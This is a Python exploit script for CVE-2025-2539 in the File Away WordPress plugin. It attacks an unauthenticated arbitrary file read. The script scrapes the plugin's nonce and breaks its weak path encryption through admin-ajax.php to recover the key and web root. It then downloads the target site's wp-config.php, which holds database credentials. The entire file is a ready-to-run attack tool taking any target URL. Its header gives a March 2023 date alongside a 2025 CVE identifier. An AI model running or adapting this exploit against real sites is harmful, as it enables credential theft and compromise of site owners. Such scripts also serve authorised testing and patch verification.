#!/usr/bin/env python3
# =============================================================================
# Author:       @whattheslime
# CVE:          CVE-2025-2539
# Date:         March 2023
# Product:      File Away (WordPress plugin)
# Title:        Unautenticated arbitrary file read
# Vendor URL:   https://wordpress.org/plugins/file-away/
# Version:      <= 3.9.9.0.1
# -----------------------------------------------------------------------------
# Install:      python3 -m venv venv && venv/bin/pip install httpx
# Usage:        venv/bin/python3 get_config.py -h
# =============================================================================
from argparse import ArgumentParser, Namespace
from base64 import b64decode
from datetime import date
from httpx import Client
from pathlib import Path
from secrets import token_hex
from re import search
from urllib.parse import urljoin, urlparse, parse_qs, quote


AGENT = (
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:120.0) Gecko/20100101 "
    "Firefox/120.0"
)
ERRO = "\r\033[1;31m[!]\033[0m"
INFO = "\r\033[1;34m[-]\033[0m"
SUCC = "\r\033[1;32m[+]\033[0m"

WP_CONFIG = "wp-config.php"
CHARSET = "abcdefghijklmnopqrstuvwxyz0123456789"

def get_path(
    http: Client, target: str, nonce: str, file_path: str
) -> tuple[str, str]:
    """Get encrypted path of a file."""
    response = http.post(
        urljoin(target, "wp-admin/admin-ajax.php"),
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        params={"t": token_hex(5)},
        data=f"action=fileaway-stats&nonce={nonce}&file={file_path}",
    )

    url = response.text[1:-1].replace("\\", "")
    params = parse_qs(urlparse(url).query)
    file_path = params["fileaway"][0]
    
    return url, file_path


def download_config(http: Client, target: str, nonce: str):
    """Exploit File-Away weak encryption to download wordpress configuration.
    """
    # Get encrypted webroot
    _, encrypted_webroot = get_path(http, target, nonce, "")
    print(INFO, f"Encrypted web root:       {encrypted_webroot[::-1]}")

    # Retrive encryption key
    padding = encrypted_webroot.count("=")
    decoder = quote(padding * b"." + b64decode(CHARSET))
    print(INFO, f"Decoder:                  {decoder}")
    url, file_path = get_path(http, target, nonce, decoder)
    key = file_path[::-1][-len(CHARSET):]

    # Decrypt webroot
    print(INFO, f"Charset:                  {CHARSET}")
    print(SUCC, f"Encryption Key:           {key}")
    
    decrypted_webroot = "".join(
        key[CHARSET.index(c)] if c in key else c for c in encrypted_webroot
    )
    webroot = Path(b64decode(decrypted_webroot[::-1].encode()).decode())
    print(SUCC, f"Decrypted web root:       {webroot}")

    # Download wp-config.php
    url, _ = get_path(http, target, nonce, WP_CONFIG)
    wp_config_content = http.get(url).text

    website = urlparse(target).netloc
    time = date.today().strftime("%Y:%m:%d")
    file_path = f"{website}_{time}_{WP_CONFIG}"
    Path(file_path).write_text(wp_config_content)

    print(SUCC, f"Config file downloaded:   {file_path}")


def parse_args() -> Namespace:
    """Function to parse user arguments."""
    parser = ArgumentParser(
        description="File Away - Arbitrary File Read Exploitation script"
    )
    parser.add_argument(
        "-t",
        "--target",
        type=str,
        required=True,
        help="target url (e.g. http://target.com).",
    )
    parser.add_argument(
        "-x",
        "--proxy",
        type=str,
        default=None,
        help="proxy url (e.g. http://127.0.0.1:8080).",
    )
    return parser.parse_args()


def main():
    """Program entry point."""
    args = parse_args()
    target = args.target

    try:
        with Client(
            follow_redirects=False,
            headers={"User-Agent": AGENT},
            proxy=args.proxy,
            verify=False,
        ) as http:

            # Get fileaway-stats nonce
            response = http.get(target, params={"t": token_hex(5)})
            match = search(r"var fileaway_stats.*nonce\":\"(\w+)\"", response.text)

            if not match:
                print(
                    ERRO,
                    "Unable to find 'fileaway-stats-nonce'!,"
                    "Plugin seems disabled.",
                )
                return

            fileaway_stats_nonce = match.group(1)
            print(SUCC, f"File-Away nonce:          {fileaway_stats_nonce}")

            download_config(http, target, fileaway_stats_nonce)

    except Exception as error:
        print(ERRO, error)

if __name__ == "__main__":
    main()
